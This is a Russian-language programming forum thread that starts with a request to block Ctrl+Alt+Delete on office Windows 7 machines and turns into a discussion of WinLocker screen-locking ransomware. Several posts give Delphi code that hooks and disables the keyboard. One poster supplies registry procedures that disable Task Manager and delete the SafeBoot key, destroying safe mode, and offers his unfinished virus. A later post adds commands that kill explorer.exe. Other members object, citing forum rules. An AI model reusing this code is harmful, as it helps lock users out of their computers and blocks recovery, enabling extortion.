[GOD_Roman$]

Доброго времени суток.
Проблема такая: пишу программу для администрирования компьютеров небольшой фирмы. Все компьютеры под Win 7. Нужен способ блокировки и разблокировки компьютера или хотя бы клавиатуры. BlockInput работает но не блокирует Ctrl+Alt+Delete. Может кто нибудь знает другой способ или подскажет как рубануть Ctrl+Alt+Delete.

[GOD_Roman$]

Ну может быть кто нибудь какую нибудь бредовую идею кинет. Не могу стоять на месте ...

[Alegun]

Сообщение от GOD_Roman$

Ну может быть кто нибудь какую нибудь бредовую идею кинет...

Не знаю только, как насчёт семёрки, не проверял

Код:

uses 
WinProcs
var 
i: integer=0; 
begin
// Ctrl-Alt-Del 
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @i, 0); 
// для Alt-Tab: SPI_SETFASTTASKSWITCH 
end;

ещё

Код:

var
i: integer=0;
OldKbHook: HHook=0;
...
function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
begin
if code<0 then Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)
else Result:= 1;
end;

// Выключение клавиатуры
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @i, 0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @i, 0);
OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);

// Включение клавиатуры
if OldKbHook <> 0 then 
begin
UnHookWindowshookEx(OldKbHook);
OldKbHook:= 0;
end;
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 0, 0, 0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, 0, 0);

и такое

Код:

EnableHardwareInput(false); // false = Off  true = On
// или
EnableHardwareKeyboard(false); 

З.Ы. А чем Win+L не нравится? Ведь так проще.

[GOD_Roman$]

Ничего не срабатывает

Код:

EnableHardwareInput(false); // false = Off  true = On
// или
EnableHardwareKeyboard(false); 

здесь какой модуль нужно подключить?

З.Ы. А чем Win+L не нравится? Ведь так проще.

Задача и в том чтоб и разблокировать...

[OTVET2]

Сообщение от GOD_Roman$

пишу программу для администрирования компьютеров небольшой фирмы. Все компьютеры под Win 7. Нужен способ блокировки и разблокировки компьютера

Все это реализуется давно известными программами, которые есть в арсенале даже самого захудалого админа, зачем писать свою? - разве что пишем вирус(WinLocker, смс вымогатеть ), тогда согласен.

[NumLock]

создай новый рабочий стол и переключись на него. диспетчер задач можно будет запустить, но он будет на основном столе и работать с ним не получится.

[ruivit]

Ты что ли WinLocer пишешь? Так и говори четко? здесь все свои Вот процедура блокировки диспетчера задач работает на windows 7.

Код:

// Процедура отрубающия диспечер

procedure OfDispecher;
  var
  r:Tregistry;
  begin
r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);
r.WriteInteger('DisableTaskMgr',1);
r.closekey;
r.free;
end;

//--------------------------------
// Процедура включающия диспечер
 procedure OnDispecher;
  var
  r:Tregistry;
  begin
r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);
r.WriteInteger('DisableTaskMgr',0);
r.closekey;
r.free;
end;

Вот эта отрубает безопасный режим

Код:

 procedure OfRegim;
    var
    reg: tregistry;
    begin
    reg:=TRegistry.Create;
    reg.RootKey:=HKEY_LOCAL_MACHINE;
    if Reg.KeyExists('SYSTEM\CurrentControlSet\Control\SafeBoot') then
    begin
    reg.DeleteKey('SYSTEM\CurrentControlSet\Control\SafeBoot');
    reg.CloseKey;
    reg.free;
end
else
  sleep(1);
end;

Если в хочешь могу скинуть не доделанный сам вирус чтоб ты имел ввиду из чего зверек слеплен...

[Vayrus]

Согласен с NumLock.

ЗЫ
Написание и помощь в написании вредоносов на форуме запрещено, насколько мне известно

[ruivit]

Я думаю чтоб научится бороться с подобной напастью, нужно ее тоже уметь делать, чтоб иметь представления как эта страсть работает. Главное чтобы у него зверек дальше его машинки не ходил

[Bargest]

Вот процедура блокировки диспетчера задач работает на windows 7.

Скажу по секрету - без прав админа никто не даст писать в реестр, а если есть права админа, то и диспетчер отрубать не надо, гораздо полезнее стать Богом на компе.

А правила форума надо читать. За такие посты можно и банхаммером схлопотать.

[ruivit]

Да только к сожалению многие пользователи не пользуются этими правами. А потом удивляются как так получилось...

[Vayrus]

Сообщение от ruivit

Я думаю чтоб научится бороться с подобной напастью, нужно ее тоже уметь делать, чтоб иметь представления как эта страсть работает. Главное чтобы у него зверек дальше его машинки не ходил

тоже верно

[M.A.D.M.A.N.]

Хоть бы код нормально оформили, раз такие гуру.

На словах ты Лев Толстой...

[GOD_Roman$]

Если использовать Win+L как удаленно ввести пароль и произвести вход?
В Radmin это реализовано как сделать тоже самое? Я имею ввиду как сделать так чтобы программа продолжала работать после блокировки также как к примеру работает проигрыватель.

[corpse6666]

Ну тут делается проще удаляется диспетчер задач + отключается рабочий стол explorer.exe. запустить его можно сделав к программе набор кнопок и указав исходный путь к файлу) либо в командную строку отправит команду explorer.exe
+ Все это можно реализовать в обычном блокноте)) Используя бат файлы.
Vsirf, запуск:
Код:

start explorer.exe

"Убийство" процесса:

Код:

taskkill /f /im explorer.exe